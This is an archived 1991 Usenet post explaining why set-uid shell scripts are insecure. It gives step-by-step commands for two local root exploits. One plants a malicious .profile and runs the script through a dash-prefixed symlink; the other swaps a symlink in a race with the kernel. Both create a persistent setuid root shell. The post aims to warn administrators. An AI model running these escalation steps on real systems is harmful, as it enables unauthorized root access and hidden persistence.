Internet Info 1994 March/Internet Info CD-ROM (Walnut Creek) (March 1994).iso/security/doc/clippings/910919-01

Internet Message Format | 1991-09-30 | 5.4 KB

From: [e-mail] (Jamie Mason)
Newsgroups: comp.unix.wizards
Subject: Re: SUID shell scripts
Summary: Why to *NEVER* *EVER* user set-uid scripts!
Message-ID: <[e-mail]>
Date: 19 Sep 91 12:54:55 GMT
References: <[e-mail]>

In article <[e-mail]>, [e-mail] writes:
>Some say that shell scripts with the Set-User-ID bit set (on systems
>that allow it) are a security hazard. Why? If the script sets
>up PATH and IFS, is it not safe?

    NO.


    There are two reasons why not.  I'll tell you the easy one first.
Assume that there is a set-uid script owned by root (more fun that way :-)
called /local/bin/passwd (for instance).  Say that it is a bourne shell
script, and so the first line is

#!/bin/sh

    Most shells will run as a login shell of the first character of
their argv0 (first argument) starts with a '-'.  This is how login
manages to give you a login shell.  It calls csh as '-csh'.  One of the
things that a login shell does is read your .profile or .cshrc.

    On some systems, the shell is stupid enough to read and run
$HOME/.profile even if it is running set-uid (effective uid != real uid).

    So on these systems, set-uid shell scripts are VERY VERY easy
to break, and so are a big security hole from hell.  If you, or a
cracker, felt like root access, you (or they) could try:

% cat > .profile
    whoami  # to make sure.  id(1) would be fine as well.
    cp /bin/sh $HOME/SU
    chown root.wheel $HOME/SU
    chmod 6755 $HOME/SU
^D
% ln -s /local/bin/passwd -gotcha
% ./-gotcha
root
% ls -l SU
-rwsr-sr-x  1 root    wheel      106496 Oct 11  1990 SU
% ./SU
# whoami
root
# exit

    Now you have a set-uid root version of sh to play with.  It's
setgid wheel too, just for fun.  :-)



    Now for the second security hole -- on almost all #! systems...
When the kernel execs a file, it looks for a magic number in the first
two bytes.  If the magic number is '#!', then it takes the next one or
two tokens (up to 32 chars, usually), and tacks the full pathname of the
script on as an argument.  So if /u/joeuser/foo stared with:

#!/bin/sh
    then the kernel, in the process of loading this, would do:
/bin/sh /u/joeuser/foo
    Sh would have /u/joeuser/foo as $0 for the script.  If it was
#!/bin/csh -f
    then the kernel would execute
/bin/csh -f /u/joeuser/foo

    The important thing to note here is that the shell re-opens the
file for itself.  The kernel does not hand it an open file descriptor.

    So let's imagine that /local/bin/passwd example again.  If
you ran /local/bin/passwd, then the kernel would set uid to root.  Then
    it would call
/bin/sh /local/bin/passwd
    and /local/bin/passwd would do its stuff and exit.  No security hole
here, unless /local/bin/passwd is a badly written script that does not
set, for instance, $PATH.

    Ok.  But now lets try confusing things with a symlink, a
little different from before...

% ln -s /local/bin/passwd mylink
% cat > nasty_commands
    whoami  # to make sure.  id(1) would be fine as well.
    cp /bin/sh $HOME/SU
    chown root.wheel $HOME/SU
    chmod 6755 $HOME/SU
^D
% ./mylink

    So the kernel stat()s $HOME/mylink.  stat() follows the link and
sees the set-uid bit set and the owner being root on the other end of the
link (i.e. /local/bin/passwd).  So the kernel sets uid to root.  Then it
executes the following command:

/bin/sh /u/joeuser/mylink
    The shell opens /u/joeuser/mylink.  The open() follows the link
and opens the file at the other end (i.e. /local/bin/passwd) and executes
the commands from it.  Still no security hole.

    But what if while the kernel was doing this, you did:
% rm mylink; ln -s /u/joeuser/nasty_commands $HOME/mylink
    Now when the kernel followed mylink, it found /local/bin/passwd.
So it set-uid to root.  But my the time the SHELL followed mylink to
open it, it finds $home/nasty_commands, which it executes...  As root.

    Now you will almost certainly NOT win such a race with the kernel
>From the shell.  But you could do it in a C program.  You could
fork, then nice the parent into the dirt (i.e. 20) on a loaded system.
(If the system isn't loaded, load it.  Start some X applications :-)
The parent can then exec() your symlink.
    Meanwhile, in the child, you snip the symlink and make a new one.
Most of the time, you will lose the race.  But not EVERY TIME.  And if
the kernel loses the race JUST ONCE, then you win.  And you WIN BIG.

    Note that we put the same commands in nasty_commands as we put in
..profile in the last example.  I was trying to show what a cracker would
do.  If someone was trying to crack your system, then that is the type
of command they might issue.  They might put the suid sh in /tmp though,
or somewhere else not traceable to them.  Since they now have root access,
they can put it anywhere.  It may be lots of fun to find.  Once someone
has broken root on your system JUST ONCE, it is very hard to get rid of
them.  If they are smart, you may not even discover them.  If you do, you
may not ever find all the little goodies they left around the system.



    So no, set-uid shell (or anything) scripts are not secure, ever.

    If it was only set-uid to a user, rather than root, or it was only
set-gid to a special group, then the attacker will only be able to gain
the privileges of the user or group rather than root.  And the
chown will have to come out of the attacker's script.  It might get
replaced by a chgrp.